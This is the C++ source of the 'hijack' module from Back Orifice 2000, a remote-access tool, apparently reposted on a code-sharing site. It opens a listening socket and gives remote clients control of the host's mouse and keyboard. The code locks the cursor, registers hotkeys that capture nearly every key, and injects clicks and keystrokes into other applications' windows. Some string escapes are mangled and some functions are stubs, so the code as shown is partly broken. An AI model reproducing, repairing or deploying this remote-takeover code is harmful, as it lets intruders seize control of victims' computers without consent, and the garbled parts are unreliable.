hijack.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:15k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<plugins.h>
  17. #include<auth.h>
  18. #include<bocomreg.h>
  19. #include<iohandler.h>
  20. #include<encryption.h>
  21. #include<config.h>
  22. #include<strhandle.h>
  23. #include"bo_peep.h"
  24. #include"hijack.h"
  25. #include"hiclient.h"
  26. #include"resource.h"
  27. #define MAX_STREAMS 16
  28. typedef struct {
  29. CAuthSocket *pSock;
  30. } HIJACK_ARGS;
  31. // -------------------- Global Variables ------------------------
  32. // Hijack control
  33. static HANDLE g_hHThread=NULL;
  34. static BOOL g_bHijActive=FALSE;
  35. // Screen size
  36. static DWORD g_xdim,g_ydim;
  37. // Primary cursor
  38. static WORD g_wCurFlags;
  39. #define CF_LBUTTON 1
  40. #define CF_MBUTTON 2
  41. #define CF_RBUTTON 4
  42. // Keyboard
  43. static WORD g_wKeyFlags;
  44. #define KF_LSHIFT 1
  45. #define KF_RSHIFT 2
  46. #define KF_SHIFT  3
  47. #define KF_LCTRL  4
  48. #define KF_RCTRL  8
  49. #define KF_CTRL   12
  50. #define KF_LALT   16
  51. #define KF_RALT   32
  52. #define KF_ALT   48
  53. #define KF_WIN    64
  54. // Ownership
  55. static CAuthSocket *g_pMouseOwner=NULL,*g_pKeybdOwner=NULL;
  56. static BOOL g_bMouseShow=TRUE;
  57. // SendClientMessage: Issues a message to the child socket for display
  58. int SendClientMessage(CAuthSocket *pChild, const char *svMessage)
  59. {
  60. int nDataLen=sizeof(HIJACK_HEADER)+lstrlen(svMessage)+1;
  61. HIJACK_HEADER *phh=(HIJACK_HEADER *)malloc(nDataLen);
  62. phh->bAction=HA_MESSAGE;
  63. phh->message.dwDataLen=lstrlen(svMessage)+1;
  64. lstrcpy((LPTSTR)(phh+1),svMessage);
  65. int nRet=pChild->Send((BYTE *)phh,nDataLen);
  66. free(phh);
  67. return nRet;
  68. }
  69. // SendClientSuccess: Issues a success flag to the socket
  70. int SendClientSuccess(CAuthSocket *pChild)
  71. {
  72. HIJACK_HEADER hh;
  73. hh.bAction=HA_SUCCESS;
  74. return pChild->Send((BYTE *)&hh,sizeof(HIJACK_HEADER));
  75. }
  76. // SendClientFailure: Issues a failure flag to the socket
  77. int SendClientFailure(CAuthSocket *pChild)
  78. {
  79. HIJACK_HEADER hh;
  80. hh.bAction=HA_FAILURE;
  81. return pChild->Send((BYTE *)&hh,sizeof(HIJACK_HEADER));
  82. }
  83. // GetStatus: Gets status report information to give to child sockets
  84. HIJACK_HEADER *GetStatus(int *pnStatLen)
  85. {
  86. HIJACK_HEADER *phh=(HIJACK_HEADER *)malloc(sizeof(HIJACK_HEADER));
  87. if(phh==NULL) return NULL;
  88. // Foo Bar
  89. return phh;
  90. }
  91. // FreeStatus: Cleans up after GetStatus()
  92. void FreeStatus(CAuthSocket *pChild, HIJACK_HEADER *pStatus)
  93. {
  94. free(pStatus);
  95. }
  96. // SendStatus: Sends a status report to a child socket
  97. int SendStatus(CAuthSocket *pChild, HIJACK_HEADER *pStatus, int nStatLen)
  98. {
  99. // Fnord
  100. return 1;
  101. }
  102. // OwnMouse: Causes a child socket to own the mouse cursor
  103. void OwnMouse(CAuthSocket *pChild)
  104. {
  105. if(pChild==NULL) {
  106. ClipCursor(NULL);
  107. if(g_pMouseOwner!=NULL) SendClientSuccess(g_pMouseOwner);
  108. g_pMouseOwner=NULL;
  109. g_wCurFlags=0;
  110. } else {
  111. POINT pt;
  112. RECT r;
  113. GetCursorPos(&pt);
  114. r.left=pt.x;
  115. r.right=pt.x;
  116. r.top=pt.y;
  117. r.bottom=pt.y;
  118. ClipCursor(&r);
  119. g_wCurFlags=0;
  120. g_pMouseOwner=pChild;
  121. SendClientSuccess(g_pMouseOwner);
  122. }
  123. }
  124. // OwnKeybd: Causes a child socket to own the keyboard
  125. void OwnKeybd(CAuthSocket *pChild)
  126. {
  127. int alt,vk;
  128. if(pChild==NULL) {
  129. // Unregister nasty keycaptures
  130. for(alt=0;alt<16;alt++) {
  131. for(vk=0x5;vk<=0x5D;vk++) {
  132. UnregisterHotKey(NULL,1000+(alt*0x100)+vk);
  133. }
  134. }
  135. // Report to client
  136. if(g_pKeybdOwner!=NULL) SendClientSuccess(g_pKeybdOwner);
  137. g_pKeybdOwner=NULL;
  138. } else {
  139. // Do nasty keycaptures
  140. for(alt=0;alt<16;alt++) {
  141. for(vk=0x5;vk<=0x5D;vk++) {
  142. RegisterHotKey(NULL,1000+(alt*0x100)+vk,alt,vk);
  143. }
  144. }
  145. g_pKeybdOwner=pChild;
  146. SendClientSuccess(g_pKeybdOwner);
  147. }
  148. }
  149. // MoveMouse: Moves the mouse cursor
  150. void MoveMouse(HIJACK_HEADER *pStatus, int nStatLen)
  151. {
  152. // ----- Get mouse position -----
  153. POINT pt;
  154. pt.x=(pStatus->mouse.wPosX*g_xdim)>>16;
  155. pt.y=(pStatus->mouse.wPosY*g_ydim)>>16;
  156. // ---- Check to see if we're moving or hitting a button ----
  157. if(pStatus->bAction==HA_MOVE) {
  158. RECT r;
  159. r.left=pt.x;
  160. r.right=pt.x;
  161. r.top=pt.y;
  162. r.bottom=pt.y;
  163. ClipCursor(NULL);
  164. SetCursorPos(r.left,r.top);
  165. ClipCursor(&r);
  166. return;
  167. }
  168. // ------ Proceed to hit button ------
  169. // Get target window
  170. BOOL bCapture;
  171. HWND hTarget;
  172. if(GetCapture()!=NULL) {
  173. hTarget=GetCapture();
  174. bCapture=TRUE;
  175. } else {
  176. hTarget=WindowFromPoint(pt);
  177. AttachThreadInput(GetCurrentThreadId(),GetWindowThreadProcessId(hTarget,NULL),TRUE);
  178. bCapture=FALSE;
  179. }
  180. if(hTarget!=NULL) {
  181. UINT uMsg;
  182. BOOL bPost=TRUE;
  183. int nHit;
  184. // Check For Client Area or Non-Client Area
  185. if(!bCapture)
  186. nHit=SendMessage(hTarget,WM_NCHITTEST,0,MAKELONG(pt.x,pt.y));
  187. if(nHit==HTCLIENT || bCapture) {
  188. // -------------- CLIENT AREA ------------
  189. // Simulate button messages
  190. switch(pStatus->bAction) {
  191. case HA_LBUTTONDOWN:
  192. g_wCurFlags |= CF_LBUTTON;
  193. uMsg=WM_LBUTTONDOWN;
  194. break;
  195. case HA_MBUTTONDOWN:
  196. g_wCurFlags |= CF_MBUTTON;
  197. uMsg=WM_MBUTTONDOWN;
  198. break;
  199. case HA_RBUTTONDOWN:
  200. g_wCurFlags |= CF_RBUTTON;
  201. uMsg=WM_RBUTTONDOWN;
  202. break;
  203. case HA_LBUTTONUP:
  204. g_wCurFlags &= ~CF_LBUTTON;
  205. uMsg=WM_LBUTTONUP;
  206. break;
  207. case HA_MBUTTONUP:
  208. g_wCurFlags &= ~CF_MBUTTON;
  209. uMsg=WM_MBUTTONUP;
  210. break;
  211. case HA_RBUTTONUP:
  212. g_wCurFlags &= ~CF_RBUTTON;
  213. uMsg=WM_RBUTTONUP;
  214. break;
  215. case HA_LBUTTONDBL:
  216. g_wCurFlags |= CF_LBUTTON;
  217. uMsg=WM_LBUTTONDBLCLK;
  218. break;
  219. case HA_MBUTTONDBL:
  220. g_wCurFlags |= CF_MBUTTON;
  221. uMsg=WM_MBUTTONDBLCLK;
  222. break;
  223. case HA_RBUTTONDBL:
  224. g_wCurFlags |= CF_RBUTTON;
  225. uMsg=WM_RBUTTONDBLCLK;
  226. break;
  227. }
  228. } else {
  229.             // ----------- NON CLIENT AREA ------------
  230. // Simulate button messages
  231. switch(pStatus->bAction) {
  232. case HA_LBUTTONDOWN:
  233. g_wCurFlags |= CF_LBUTTON;
  234. uMsg=WM_NCLBUTTONDOWN;
  235. break;
  236. case HA_MBUTTONDOWN:
  237. g_wCurFlags |= CF_MBUTTON;
  238. uMsg=WM_NCMBUTTONDOWN;
  239. break;
  240. case HA_RBUTTONDOWN:
  241. g_wCurFlags |= CF_RBUTTON;
  242. uMsg=WM_NCRBUTTONDOWN;
  243. break;
  244. case HA_LBUTTONUP:
  245. g_wCurFlags &= ~CF_LBUTTON;
  246. uMsg=WM_NCLBUTTONUP;
  247. break;
  248. case HA_MBUTTONUP:
  249. g_wCurFlags &= ~CF_MBUTTON;
  250. uMsg=WM_NCMBUTTONUP;
  251. break;
  252. case HA_RBUTTONUP:
  253. g_wCurFlags &= ~CF_RBUTTON;
  254. uMsg=WM_NCRBUTTONUP;
  255. break;
  256. case HA_LBUTTONDBL:
  257. g_wCurFlags |= CF_LBUTTON;
  258. uMsg=WM_NCLBUTTONDBLCLK;
  259. break;
  260. case HA_MBUTTONDBL:
  261. g_wCurFlags |= CF_MBUTTON;
  262. uMsg=WM_NCMBUTTONDBLCLK;
  263. break;
  264. case HA_RBUTTONDBL:
  265. g_wCurFlags |= CF_RBUTTON;
  266. uMsg=WM_NCRBUTTONDBLCLK;
  267. break;
  268. }
  269. }
  270. if(!bCapture) {
  271. // Determine if the mouse should activate this window
  272. if(hTarget!=GetForegroundWindow()) {
  273. // Get top level parent
  274. HWND hTopParent=hTarget;
  275. while(GetParent(hTopParent)!=GetDesktopWindow() && hTopParent!=NULL)
  276. hTopParent=GetParent(hTopParent);
  277. if(hTopParent==NULL) hTopParent=hTarget;
  278. // Send WM_MOUSEACTIVATE message
  279. LRESULT lRes;
  280. lRes=SendMessage(hTarget,WM_MOUSEACTIVATE,(WPARAM)hTopParent,MAKELONG(nHit,uMsg));
  281. if(lRes==MA_ACTIVATE || lRes==MA_ACTIVATEANDEAT) {
  282. // Activate window
  283. SetForegroundWindow(hTarget);
  284. }
  285. if(lRes==MA_ACTIVATEANDEAT || lRes==MA_NOACTIVATEANDEAT) 
  286. bPost=FALSE;
  287. }
  288. }
  289. // Send message to window unless explicitly told to eat the message
  290. if(bPost) {
  291. if(nHit==HTCLIENT || bCapture) {
  292. // Send message to window unless explicitly told to eat the message
  293. ScreenToClient(hTarget,&pt);
  294. // Calculate fwKeys
  295. WORD fwKeys=0;
  296. fwKeys |= (g_wCurFlags & CF_LBUTTON)?MK_LBUTTON:0;
  297. fwKeys |= (g_wCurFlags & CF_MBUTTON)?MK_MBUTTON:0;
  298. fwKeys |= (g_wCurFlags & CF_RBUTTON)?MK_RBUTTON:0;
  299. fwKeys |= (g_wKeyFlags & KF_CTRL)?MK_CONTROL:0;
  300. fwKeys |= (g_wKeyFlags & KF_SHIFT)?MK_SHIFT:0;
  301. PostMessage(hTarget, uMsg, fwKeys, MAKELONG(pt.x,pt.y));
  302. } else {
  303. POINTS ncpt;
  304. ncpt.x=(SHORT)pt.x;
  305. ncpt.y=(SHORT)pt.y;
  306. PostMessage(hTarget, uMsg, (WPARAM)nHit, *(LPARAM *)&ncpt);
  307. }
  308. }
  309. }
  310. }
  311. // DoKeypress: Simulates a keypress
  312. void DoKeypress(HIJACK_HEADER *pStatus, int nStatLen)
  313. {
  314. // Temporarily unregister key
  315. int alt;
  316. for(alt=0;alt<16;alt++) {
  317. UnregisterHotKey(NULL,1000+(alt*0x100)+pStatus->keybd.bVirtKey);
  318. }
  319. // Simulate keypress
  320. keybd_event(pStatus->keybd.bVirtKey,pStatus->keybd.bScanCode,pStatus->keybd.dwKeyFlags,0);
  321. // Adjust keyflags
  322. if(pStatus->keybd.dwKeyFlags & KEYEVENTF_KEYUP) {
  323. if(pStatus->keybd.bVirtKey==VK_SHIFT) g_wKeyFlags &= ~KF_SHIFT;
  324. if(pStatus->keybd.bVirtKey==VK_CONTROL) g_wKeyFlags &= ~KF_CTRL;
  325. if(pStatus->keybd.bVirtKey==VK_MENU) g_wKeyFlags &= ~KF_ALT;
  326. if(pStatus->keybd.bVirtKey==VK_RWIN || pStatus->keybd.bVirtKey==VK_LWIN) g_wKeyFlags &= ~KF_WIN;
  327. } else {
  328. if(pStatus->keybd.bVirtKey==VK_SHIFT) g_wKeyFlags |= KF_SHIFT;
  329. if(pStatus->keybd.bVirtKey==VK_CONTROL) g_wKeyFlags |= KF_CTRL;
  330. if(pStatus->keybd.bVirtKey==VK_MENU) g_wKeyFlags |= KF_ALT;
  331. if(pStatus->keybd.bVirtKey==VK_RWIN || pStatus->keybd.bVirtKey==VK_LWIN) g_wKeyFlags |= KF_WIN;
  332. }
  333. // Re-register hotkey
  334. for(alt=0;alt<16;alt++) {
  335. RegisterHotKey(NULL,1000+(alt*0x100)+pStatus->keybd.bVirtKey,alt,pStatus->keybd.bVirtKey);
  336. }
  337. }
  338. DWORD WINAPI HijackThread(HIJACK_ARGS *pArgs)
  339. {
  340. CAuthSocket *pSock,*pChild;
  341. CAuthSocket *pChildren[MAX_STREAMS];
  342. int nChildren,i,j,nRet;
  343. // ---------- Get parameters --------------------
  344. pSock=pArgs->pSock;
  345. free(pArgs);
  346. g_nNumThreads=1;
  347. // --------- Initialize hijack ----------
  348. g_xdim=GetSystemMetrics(SM_CXSCREEN);
  349. g_ydim=GetSystemMetrics(SM_CYSCREEN);
  350. POINT pt;
  351. GetCursorPos(&pt);
  352. g_pMouseOwner=NULL;
  353. g_pKeybdOwner=NULL;
  354. // --------------- Data socket loop ----------------------
  355. nChildren=0;
  356. g_bHijActive=TRUE;
  357. while(g_bHijActive) {
  358. Sleep(5);
  359. // ------ Process Window Messages -------
  360. MSG msg;
  361. if(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) {
  362. TranslateMessage(&msg);
  363. DispatchMessage(&msg);
  364. }
  365. // ------ Check for accepts --------
  366. if(nChildren<MAX_STREAMS) {
  367. pChild=pSock->Accept();
  368. if(pChild!=NULL) {
  369. pChildren[nChildren]=pChild;
  370. nChildren++;
  371. }
  372. }
  373. if(nChildren>0) {
  374. int nStatLen;
  375. HIJACK_HEADER *pStatus;
  376. // ------ Receive commands  ---------
  377. for(i=(nChildren-1);i>=0;i--) {
  378. pChild=pChildren[i];
  379. nRet=pChild->Recv((BYTE **)&pStatus,&nStatLen);
  380. if(nRet<0) {
  381. // -- bad socket --
  382. pChild->Close();
  383. if(g_pMouseOwner==pChild) {
  384. g_pMouseOwner=NULL;
  385. OwnMouse(NULL);
  386. }
  387. if(g_pKeybdOwner==pChild) {
  388. g_pKeybdOwner=NULL;
  389. OwnKeybd(NULL);
  390. }
  391. delete pChild;
  392. for(j=i+1;j<nChildren;j++) {
  393. pChildren[j-1]=pChildren[j];
  394. }
  395. pChildren[j-1]=NULL;
  396. nChildren--;
  397. } else if(nRet>0) {
  398. // ----- Process commands ------
  399. switch(pStatus->bAction) {
  400. case HA_OWNDEVICE:
  401. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==NULL) OwnMouse(pChild);
  402. else if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==NULL) OwnKeybd(pChild);
  403. else SendClientFailure(pChild);
  404. break;
  405. case HA_FREEDEVICE:
  406. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==pChild) OwnMouse(NULL);
  407. else if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==pChild) OwnKeybd(NULL);
  408. else SendClientFailure(pChild);
  409. break;
  410. case HA_MOVE:
  411. case HA_LBUTTONDOWN:
  412. case HA_LBUTTONUP:
  413. case HA_MBUTTONDOWN:
  414. case HA_MBUTTONUP:
  415. case HA_RBUTTONDOWN:
  416. case HA_RBUTTONUP:
  417. case HA_LBUTTONDBL:
  418. case HA_MBUTTONDBL:
  419. case HA_RBUTTONDBL:
  420. if(pStatus->bDevice==HD_MOUSE && g_pMouseOwner==pChild) MoveMouse(pStatus,nStatLen);
  421. break;
  422. case HA_KEYUP:
  423. case HA_KEYDOWN:
  424. if(pStatus->bDevice==HD_KEYBD && g_pKeybdOwner==pChild) DoKeypress(pStatus,nStatLen);
  425. break;
  426. }
  427. // --- Clean up ---
  428. pChild->Free((BYTE *)pStatus);
  429. }
  430. }
  431. }
  432. }
  433. OwnMouse(NULL);
  434. OwnKeybd(NULL);
  435. // Close all connections
  436. for(i=(nChildren-1);i>=0;i--) {
  437. pChildren[i]->Close();
  438. delete pChildren[i];
  439. pChildren[i]=NULL;
  440. }
  441. nChildren=0;
  442. pSock->Close();
  443. delete pSock;
  444. g_nNumThreads=0;
  445. return 0;
  446. }
  447. int CmdProc_StartHijack(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  448. {
  449. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svParam=NULL;
  450. // Check if already started
  451. if(g_hHThread!=NULL) {
  452. IssueAuthCommandReply(cas_from,comid,0,"Hijack socket already created.n");
  453. return -1;
  454. }
  455. // Get parameters
  456. svNetMod=GetCfgStr(g_szAdvancedOptions,"Hijack Net Module");
  457. svEnc=GetCfgStr(g_szAdvancedOptions,"Hijack Encryption");
  458. svAuth=GetCfgStr(g_szAdvancedOptions,"Hijack Auth");
  459. if((svParam=svArg2)!=NULL) {
  460. if(svParam[0]!='') svNetMod=svParam;
  461. if((svParam=BreakString(svNetMod,","))!=NULL) {
  462. if(svParam[0]!='') svEnc=svParam;
  463. if((svParam=BreakString(svEnc,","))!=NULL) {
  464. if(svParam[0]!='') svAuth=svParam;
  465. }
  466. }
  467. // Create listener socket
  468. svParam=GetCfgStr(g_szAdvancedOptions,"Hijack Bind Str");
  469. if(svArg3!=NULL) {
  470. if(svArg3[0]!='') svParam=svArg3;
  471. }
  472. CAuthSocket *pSock=ListenAuthSocket(InteractiveListen,cas_from->GetUserID(),NULL,svParam,svNetMod,svEnc,svAuth);
  473. if(pSock==NULL || pSock==(CAuthSocket *)0xFFFFFFFF) {
  474. IssueAuthCommandReply(cas_from,comid,0,"Couldn't start listening socket.n");
  475. return -1;
  476. }
  477. // Spawn listener thread
  478. HIJACK_ARGS *pArgs=(HIJACK_ARGS *)malloc(sizeof(HIJACK_ARGS));
  479. if(pArgs==NULL) {
  480. pSock->Close();
  481. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  482. return -1;
  483. }
  484. pArgs->pSock=pSock;
  485. DWORD dwTid;
  486. g_hHThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)HijackThread,pArgs,0,&dwTid);
  487. if(g_hHThread==NULL) {
  488. free(pArgs);
  489. pSock->Close();
  490. IssueAuthCommandReply(cas_from,comid,0,"Could create thread.n");
  491. }
  492. char svResponse[512],svConAddr[256];
  493. pSock->GetConnectAddr(svConAddr,256);
  494. wsprintf(svResponse, "Hijack started on %.256sn",svConAddr);
  495. IssueAuthCommandReply(cas_from, comid, 0, svResponse);
  496. return 0;
  497. }
  498. int CmdProc_StopHijack(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  499. {
  500. g_bHijActive=FALSE;
  501. if(WaitForSingleObject(g_hHThread,5000)!=WAIT_OBJECT_0) {
  502. IssueAuthCommandReply(cas_from, comid, 0, "Couldn't stop hijack in 5 sec. Aborting thread.n");
  503. TerminateThread(g_hHThread,0);
  504. }
  505. CloseHandle(g_hHThread);
  506. g_hHThread=NULL;
  507. IssueAuthCommandReply(cas_from, comid, 0, "Hijack stopped.n");
  508. return 0;
  509. }